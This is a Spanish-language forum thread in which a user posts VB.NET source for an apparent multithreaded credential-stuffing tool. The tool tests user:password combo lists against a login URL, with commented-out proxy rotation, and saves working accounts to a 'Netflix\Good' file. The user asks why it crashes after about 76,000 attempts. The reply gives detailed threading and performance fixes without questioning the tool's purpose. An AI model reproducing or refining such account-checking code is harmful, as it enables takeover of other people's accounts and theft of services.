elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  threads crash riched20.dll vb net
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: threads crash riched20.dll vb net  (Leído 2,442 veces)
asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
threads crash riched20.dll vb net
« en: 9 Marzo 2019, 05:21 am »

 esto es un diccionary attack  pero despues de un rato de funcionar por ejemplo llega a la cuenta 76000 se crasea y me dice que fault riched20.dll  ,les agradeceria mucho que me pudieran apoyar en este error
Código:
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text.RegularExpressions
Imports System.Threading
Imports xNet


Public Class Form1

    Private dragging As Boolean
    Private offset As Point
    Dim date1 As String
    Public int_0 As Integer
    Public int_1 As Integer
    Public int_2 As Integer
    Public int_3 As Integer
    Public int_4 As Integer
    Public int_5 As Integer
    Public int_6 As Integer
    Public int_7 As Integer
    Public object_0 As Object = New Object
    Private point_0 As Point
    ' Public proxyType_0 As ProxyType
    Public queue_0 As Queue
    Public random_0 As Random = New Random
    Public string_0 As String()
    Public string_1 As String()
    Public string_2 As String() = New String(0 - 1) {}
    Public string_3 As String() = New String(0 - 1) {}
    Private string_5 As String = ""
    Public thread_0 As Thread()
    Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer
    Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr
    Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt"
    Public Sub New()
        Me.InitializeComponent()
        Control.CheckForIllegalCrossThreadCalls = False
        ' Me.text_proxyType.SelectedIndex = 0
        Me.NumericUpDown1.Value = 100
        RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
    End Sub
    Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown
        Me.dragging = True
        Me.offset = e.Location
    End Sub

    Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove
        If Me.dragging Then
            Dim point As Point = MyBase.PointToScreen(e.Location)
            MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y))
            Cursor.Current = Cursors.NoMove2D
        End If
    End Sub

    Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp
        Me.dragging = False
    End Sub
    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim CP As CreateParams = MyBase.CreateParams
            CP.Style = &HA0000
            Return CP
        End Get
    End Property

    Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
        End
    End Sub

    Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
        WindowState = FormWindowState.Minimized
    End Sub
    Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
        MsgBox("aft", vbInformation, "Dz All Checkers 1.0")
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Using dialog As OpenFileDialog = New OpenFileDialog
            dialog.Filter = "Text files | * .txt"
            If (dialog.ShowDialog = DialogResult.OK) Then
                Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName)))
                Me.int_1 = Me.string_1.Length
                Me.MetroLabel_1554.Text = Me.int_1.ToString
            End If
        End Using
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

        Using dialog As OpenFileDialog = New OpenFileDialog
            dialog.Filter = "Text files | * .txt"
            If (dialog.ShowDialog = DialogResult.OK) Then
                Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)})))
                Me.int_0 = Me.string_0.Length
                Me.int_6 = Me.int_0
                Me.MetroLabel_1555.Text = Me.int_0.ToString
            End If
        End Using
    End Sub
    Public Sub method_5()

        ' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1))
        While Me.queue_0.Count > 0
            Dim obj As Object = Me.object_0
            Dim flag As Boolean = False
            Dim obj2 As Object
            Dim text As String
            Try
                Dim expr_29 As Object = obj
                obj2 = expr_29
                Monitor.Enter(expr_29, flag)
                Try
                    text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim()
                    Me.queue_0.Dequeue()
                Catch ex As Exception

                End Try

            Finally
                If flag Then
                    Monitor.[Exit](obj2)
                End If
            End Try
            Dim array As String() = text.Split(New Char() {":"c})
            Try

                Using httpRequest As HttpRequest = New HttpRequest()
                    '  httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
                    Dim cookies As CookieDictionary = New CookieDictionary(False)
                    httpRequest.Cookies = cookies
                    httpRequest.IgnoreProtocolErrors = True
                    httpRequest.ConnectTimeout = TextBox6.Text '25000
                    httpRequest.AllowAutoRedirect = True
                    httpRequest.KeepAlive = True
                    httpRequest.UserAgent = Http.ChromeUserAgent()
                    httpRequest.Referer = TextBox2.Text
                    httpRequest.KeepAliveTimeout = TextBox7.Text

                    '
                    'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString()
                    Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString()
                    ' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid")
                    httpRequest.AddParam(TextBox4.Text, array(0))
                    httpRequest.AddParam(TextBox5.Text, array(1))

                    Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString()
                    RichTextBox2.Text = text2
                    If text2.Contains(TextBox3.Text) Then
                        Dim str As String
                        If text2.Contains(TextBox3.Text) Then
                            str = "cuenta"
                        Else
                            str = "_"
                        End If
                        obj = Me.object_0
                        Dim flag2 As Boolean = False
                        Try
                            Dim expr_222 As Object = obj
                            obj2 = expr_222
                            Monitor.Enter(expr_222, flag2)
                            System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1)
                            Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine
                            Me.int_2 += 1
                            Me.int_5 += 1
                            Me.int_6 -= 1
                            Continue While
                        Finally
                            If flag2 Then
                                Monitor.[Exit](obj2)
                            End If
                        End Try
                    End If
                    obj = Me.object_0
                    Dim flag3 As Boolean = False
                    Try
                        Dim expr_29E As Object = obj
                        obj2 = expr_29E
                        Monitor.Enter(expr_29E, flag3)
                        Me.int_3 += 1
                    Finally
                        If flag3 Then
                            Monitor.[Exit](obj2)
                        End If
                    End Try
                    Me.int_5 += 1
                    Me.int_6 -= 1
                End Using
            Catch
                Me.int_7 += 1
                Me.queue_0.Enqueue(text)
                '  proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1))
            End Try
        End While
        If Me.int_5 = Me.int_0 Then
            Me.method_6()
        End If
    End Sub

    Public Sub method_6()
        For i As Integer = 0 To Me.int_4 - 1
            Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5))
            Me.thread_0(i).IsBackground = True
            Me.thread_0(i).Abort()
        Next
    End Sub
    Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String
        On Error Resume Next
        Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value
    End Function
    Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
        Dim num As Integer = 100
        Try
            num = Integer.Parse(Me.TextBox1.Text)
        Catch obj1 As Exception
        End Try
        Me.NumericUpDown1.Value = num
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Me.MetroLabel_1558.Text = Me.int_2.ToString
        Me.MetroLabel_1556.Text = Me.int_3.ToString
        Me.Label9.Text = Me.int_5.ToString
        '    Me.Label9.Text = Me.int_7.ToString
        If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
            Me.RichTextBox1.Lines = Me.string_2
        End If
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Try
            Directory.CreateDirectory(String.Concat("Netflix\"))
            If Me.int_0 = 0 Then
                MessageBox.Show("Load Accounts.")
                '  ElseIf Me.int_1 = 0 Then
                '     MessageBox.Show("Load Proxies.")
            Else
                ' Select Case Me.text_proxyType.SelectedIndex
                ' Case 0
                'Me.proxyType_0 = ProxyType.Http
                'Case 1
                'Me.proxyType_0 = ProxyType.Socks4
                'Case 2
                'Me.proxyType_0 = ProxyType.Socks5
                'Case Else
                'MessageBox.Show("Choose Proxy type")
                'Return
                'End Select
                Me.int_2 = 0
                Me.int_3 = 0
                Me.string_2 = Nothing
                Me.string_3 = Nothing
                Me.int_5 = 0
                Me.int_7 = 0
                Me.int_6 = Me.int_0
                Me.queue_0 = New Queue()

                For i As Integer = 0 To Me.int_0 - 1
                    Me.queue_0.Enqueue(Me.string_0(i))
                Next
                Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value)
                Me.thread_0 = New Thread(Me.int_4 - 1) {}
                For j As Integer = 0 To Me.int_4 - 1
                    Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5))
                    Me.thread_0(j).IsBackground = True
                    Me.thread_0(j).Start()
                Next
                Me.Timer1.Enabled = True
            End If
        Catch ex As Exception

        End Try

    End Sub

    Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
        Try
            RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
        Catch ex As Exception

        End Try
    End Sub

    Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click

    End Sub
End Class


« Última modificación: 9 Marzo 2019, 05:24 am por asdexiva » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.885



Ver Perfil
Re: threads crash riched20.dll vb net
« Respuesta #1 en: 9 Marzo 2019, 09:51 am »

Hola.

Mejor si compartes el proyecto de Visual Studio y das unas indicaciones previas para poder reproducir el error, y entonces poder depurarlo por nuestra parte. De todas formas, el archivo riched20.dll hace referencia al control win32 Rich Text Edit, por lo tanto el error que tengas está relacionado directamente con la manipulación del control RichTextBox1 o RichTextBox2 en tu código fuente.



Sin ánimo de ofender, ya que no se si el código fuente lo has desarrollado por ti mismo o lo has cogido de Internet, pero ese código fuente está hecho un estropicio de inicio a fin, lo que me hace pensar que es el típico código compartido en algún foro random de Internet, pues hay una infinidad de malos hábitos de programación aplicados en él, y verdaderamente es un código espaghetti que no hay por donde cogerlo, pero te diré un par de cosas fundamentales al respecto...

EDITO: ahora que me fijo mejor, dado que las nomenclaturas no tienen ningún sentido y estas siguen una ordenación con sufijo numérico empezando por las variables locales y siguiendo en las nomenclaturas de los parámetros de las declaraciones de funciones nativas de la API de Windows (funciones que por cierto nunca usas en ese código), así que está claro que ese código fuente es el resultado generado por algún desofuscador/descompilador, y esto me hace arrepentirme bastante de haber señalado tantas recomendaciones aquí abajo tomandome el tiempo para escribirlo todo, ya que probablemente no tomes en serio ninguna de ellas si lo tuyo es copiar y pegar códigos y hacer las cosas sin aprender como hacerlas. No te lo tomes a mal pero es lo que pienso e intuyo, y siempre digo lo que pienso aunque me pese...

1.
Cualquier código que escribas siempre va a ser propenso a producir errores en un entorno multi-threading mientras sigas desactivando el valor de la siguiente propiedad:
Citar
Código
  1. Control.CheckForIllegalCrossThreadCalls = False

No creas que desactivar el valor de esa propiedad te asegura en el 100% de los casos el poder manipular controles en el thread de la UI desde un thread distinto al que fue creado. No descartes que esto pueda ser el causante del error que tienes. De hecho, desactivar esta propiedad puede obstaculizar la averiguación de la causa del error, más allá de las excepciones de tipo InvalidOperationException que son suprimidas al desactivar dicha propiedad.

Yo te diría de reescribir todo el código fuente que tienes de principio a fin, desde cero y haciendo las cosas bien, pero bueno, si eso te parece demasiado esfuerzo y no sabes demasiado bien como hacerlo, entonces lo primero que deberías hacer es eliminar esa linea de código, y no la usas jamás en ningún otro proyecto. En su lugar debes aplicar técnicas habituales de programación multi-threading, sin ir más lejos deberías usar la clase BackgroundWorker ya que está pensada precisamente para simplificar la manipulación de los controles del thread de la UI, y aparte de poder reportar un porcentaje de progreso, lo cual también puedes aprovechar al tratarse de un "ataque de diccionario"... donde debería haber un progreso implícito. En su defecto y si lo prefieres, simplemente puedes hacer llamadas individuales al método Control.Invoke() / Control.BeginInvoke() cuando necesites actualizar la propiedad de "X" control en el thread de la UI desde un thread distinto al que fue creado.

2.
La clase Thread no es conveniente usarla en este escenario, como ya he mencionado en el punto anterior deberías utilizar la clase BackgroundWorker, ya que por un lado te permitiría simplificar y perfeccionar el algoritmo, y por el otro manipular de forma segura los controles RichTextBox.

3.
Esto que haces aquí en principio es un despropósito:
Código
  1. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  2.    If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
  3.        Me.RichTextBox1.Lines = Me.string_2
  4.    End If
  5. End Sub
  6.  
  7. ...
  8.  
  9. Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
  10.    Try
  11.        RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
  12.    Catch ex As Exception
  13.    End Try
  14. End Sub

Y digo "en principio" por que no puedo saber cual será el intervalo del objeto Timer1, ya que está especificado en el diseñador del form, es decir, en la clase del código autogenerado por Visual Studio y no en el código fuente de la clase que has mostrado, pero si no has cambiado el intervalo por defecto entonces serán 100 millisegundos. Bien, el caso es que a cada rato, presuntamente cada 100 ms estás modificando el contenido del RichTextBox1 mediante ese Timer, y seguidamente escribiendo / reemplazando el contenido de un archivo local cuyo contenido cada vez será mayor... cualquier alternativa sería más conveniente para evitar ese tipo de tarea intensiva de lectura y escritura en disco.

Por cierto, lo que haces en ese controlador del evento Timer1.Tick podría ser otra posible causa del error que tienes. Si dices que el error se produce al llegar a cierta "cuenta", y con ello implica llegar a cierta cantidad de lineas, y además el archivo riched20.dll se ve afectado de alguna manera, pues parece blanco y en botella. Ten en cuenta que no puedes rebasar el límite máximo de caracteres de un RichTextBox (Integer.MaxValue).

Aparte, ese trabajo computacional que haces en el controlador del evento Timer1.Tick, presuntamente cada 100 ms (insisto) al obtener el array con las lineas del RichTextBox, contar la cantidad de lineas, y luego reasignar todas las lineas de texto del control... cuanto mayor longitud tenga el array de lineas, mayor tiempo de ejecución necesitarás para contar la longitud del array y para la reasignación del mismo... lo que quiero decir es que al tratarse de un típico algoritmo de fuerza bruta seguramente llegará un momento en el que haya una ingente cantidad de lineas, y el rendimiento de tu aplicación se verá mermada por todo lo que haces en ese método.
Lo primero, deberías usar la propiedad Array.Length (RichTxtBox.Lines.Length en lugar de RichTxtBox.Lines.Count), pero lo cierto es que en lugar de eso podrías llevar la cuenta de la cantidad de lineas actuales del RichTextBox incrementando el valor de una variable de tipo Integer, por ejemplo, y así aumentarías bastante más el rendimiento. Y lo de reasignar las lineas sencillamente no me he fijado lo suficiente para deducir por que haces eso, pero en principio no estaría bien hacerlo así, y no deberías tener problemas para añadir texto/una linea más usando el método RichTextBox.AppendText() en su lugar.

De todas formas, ¿por qué usas un RichTextBox?. No estás dándole formato enriquecido al texto, por ende estás usando un RichTextBox de forma inutil, me refiero, en vano, de forma desaprovechada. Deberías usar un control TextBox (en modo multi-linea) en su lugar, el cual es más liviano. Y no te olvides de incrementar el valor de la propiedad TextBox.MaxLength si te resulta necesario, ya que es relativamente corto en comparación (Short.MaxValue).
Ahora, y suponiendo que ese RichTextBox solo lo utilices con el fin de mostrar las palabras ya usadas en el ataque de fuerza bruta, yo lo veo totalmente innecesario por el impacto negativo en el rendimiento que esto causaría, así que en lugar de un TextBox o RichTextBox yo mostraría solamente la última palabra usada y mediante un control de tipo Label (por ejemplo).

No se si habrás llegado a leer todo el texto, ya que he escrito bastante, pero en resumen te he indicado dos posibles causas al error que estás sufriendo, y diferentes recomendaciones para tratar de evitarlo y también para mejorar ciertos aspectos del código y el rendimiento de la aplicación en general.

Saludos.


« Última modificación: 9 Marzo 2019, 12:20 pm por Eleкtro » En línea



Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Smartcheck + Crash
Ingeniería Inversa
APOKLIPTICO 8 6,575 Último mensaje 31 Octubre 2008, 23:27 pm
por apuromafo CLS
Crash en IE
Hacking
dimitrix 8 4,716 Último mensaje 13 Junio 2011, 20:53 pm
por dimitrix
duda add esp, 4 y crash
ASM
asmnb 6 6,107 Último mensaje 14 Agosto 2011, 05:46 am
por asmnb
Crash en la consola
Programación C/C++
7erran 3 3,037 Último mensaje 5 Abril 2021, 04:24 am
por @XSStringManolo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines